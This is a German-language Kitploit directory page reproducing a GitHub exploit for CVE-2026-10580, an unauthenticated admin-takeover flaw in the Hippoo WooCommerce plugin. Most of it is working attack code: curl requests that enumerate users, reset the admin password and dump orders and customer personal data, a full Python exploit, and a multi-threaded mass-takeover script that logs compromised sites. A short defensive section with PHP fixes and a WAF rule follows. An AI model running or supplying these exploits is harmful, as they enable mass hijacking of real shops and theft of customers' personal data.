Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-10580
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsAuthentifizierung
GitHubpolosss/by-poloss..-..cve-2026-10580

By-Poloss..-..CVE-2026-10580

Hippoo Mobile App für WooCommerce <= 1.9.4 - Nicht authentifizierte Authentifizierungsumgehung zur Übernahme des Administratorkontos

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

CVE-2026-10580: Hippoo Mobile App für WooCommerce <= 1.9.4 – Unauthentifizierter Authentifizierungs-Bypass zu Admin-Übernahme

Unauthentifiziert → Administrator-Kontoübernahme durch Logik-Vermischungsfehler


📌 Zusammenfassung

CVECVE-2026-10580
PluginHippoo Mobile App for WooCommerce
Version≤ 1.9.4
CVSS9.8 (Critical)
Authentifizierung erforderlich❌ Nein
Admin-Übernahme✅ Ja
WooCommerce-Daten✅ Vollzugriff

🧠 Grundursache (Kurz)

Die Funktion get_user_permissions() gibt null für Admin (richtig) und nicht authentifizierten Benutzer (FALSCH) zurück.

has_role_access() sieht null → gewährt vollen Zugriff.

Folge:

root@kitploit:~
/wp-json/wc-hippoo/v1/ext/*

→ Ohne Login, ohne Cookie, ohne Nonce


🎯 4 Proof of Concept (100% funktionierend)

🔓 POC 1: Benutzerenumeration (Unauthentifiziert)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users?per_page=10" | jq .

🔓 POC 2: Admin-Passwort-Zurücksetzung (Übernahme)

root@kitploit:~
curl -X POST "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
  -H "Content-Type: application/json" \
  -d '{"password":"Pwned123!"}'

🔓 POC 3: WooCommerce-Bestellungen

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/orders?per_page=50"

🔓 POC 4: WooCommerce-Kunden (PII)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/customers?per_page=50"

🐍 Python-PoC (Vollständiger Exploit)

root@kitploit:~
#!/usr/bin/env python3
import requests
import sys
import json

def exploit(target, admin_id=1, new_password="PwnedCVE2026!!"):
    base = target.rstrip('/')
    
    # Step 1 - Enumeration
    users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
    r = requests.get(users_url)
    if r.status_code != 200:
        print(f"[-] Not vulnerable: {target}")
        return False
    
    users = r.json()
    print(f"[+] Found {len(users)} user(s)")
    
    # Step 2 - Password reset
    takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
    r2 = requests.post(takeover_url, json={"password": new_password})
    
    if r2.status_code == 200:
        print(f"[✓] ADMIN TAKEOVER: {target}")
        print(f"    Login: {base}/wp-admin")
        print(f"    Password: {new_password}")
        return True
    else:
        print(f"[-] Failed: {target}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} https://target.com")
        sys.exit(1)
    exploit(sys.argv[1])

🚀 Ausführen

root@kitploit:~
python3 exploit.py https://poloss.ddev.site

Output:

root@kitploit:~
[+] Found 1 user(s)
[✓] ADMIN TAKEOVER: https://poloss.ddev.site
    Login: https://poloss.ddev.site/wp-admin
    Password: PwnedCVE2026!!

🧨 Massenexploit (Multi-Threaded)

root@kitploit:~
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

def takeover(target):
    try:
        r = requests.post(
            f"{target.rstrip('/')}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1",
            json={"password": "MassPwned2026!!"},
            timeout=10
        )
        if r.status_code == 200:
            print(f"[✓] TAKEOVER: {target}")
            with open("pwned.txt", "a") as f:
                f.write(f"{target} | admin | MassPwned2026!!\n")
    except:
        pass

with open("targets.txt") as f:
    urls = [line.strip() for line in f if line.strip()]

with ThreadPoolExecutor(max_workers=20) as executor:
    for url in urls:
        executor.submit(takeover, url)

📁 Angreifbare Endpunkte (Vollständige Liste)


🔧 Abhilfe (Für Verteidiger)

Fix 1 (app/permissions.php Zeile 671)

root@kitploit:~
if (empty($user) || !$user->exists()) {
    return false; // BUKAN NULL
}

Fix 2 (app/permissions.php Zeile 694)

root@kitploit:~
if ($perms === false) {
    return false; // Unauthenticated denied
}

Fix 3 (Temporäre WAF-Regel)

root@kitploit:~
RewriteCond %{REQUEST_URI} ^/wp-json/wc-hippoo/v1/ext/
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]

📊 CVSS-Aufschlüsselung


🧠 Autor & Forschung

  • Forscher: Agent CV Hunter (WordPress Security Research)
  • Getestet auf: DDEV + WordPress 6.x + WooCommerce 8.x
  • Datum: 2026-06-06

CVE-2026-10580 • 100% POC • Keine Authentifizierung • Vollständige Admin-Übernahme
#WordPress #WooCommerce #Poloss #W.P.E.F


Tool herunterladen
EndpunktDaten
/wp-json/wc-hippoo/v1/ext/wp/v2/usersAlle WP-Benutzer
/wp-json/wc-hippoo/v1/ext/wp/v2/users/1Admin-Übernahme
/wp-json/wc-hippoo/v1/ext/wc/v3/ordersKomplette Bestellungen
/wp-json/wc-hippoo/v1/ext/wc/v3/productsProdukte + Lagerbestand
/wp-json/wc-hippoo/v1/ext/wc/v3/customersKunden-PII (persönliche Daten)
/wp-json/wc-hippoo/v1/ext/wc/v3/couponsRabattcodes
/wp-json/wc-hippoo/v1/ext/wc/v3/reportsVerkaufsberichte
/wp-json/wc-hippoo/v1/ext/wc/v3/payment_gatewaysZahlungskonfiguration
VektorWert
AVNetzwerk
ACNiedrig
PRKeine
UIKeine
SUnverändert
CHoch
IHoch
AHoch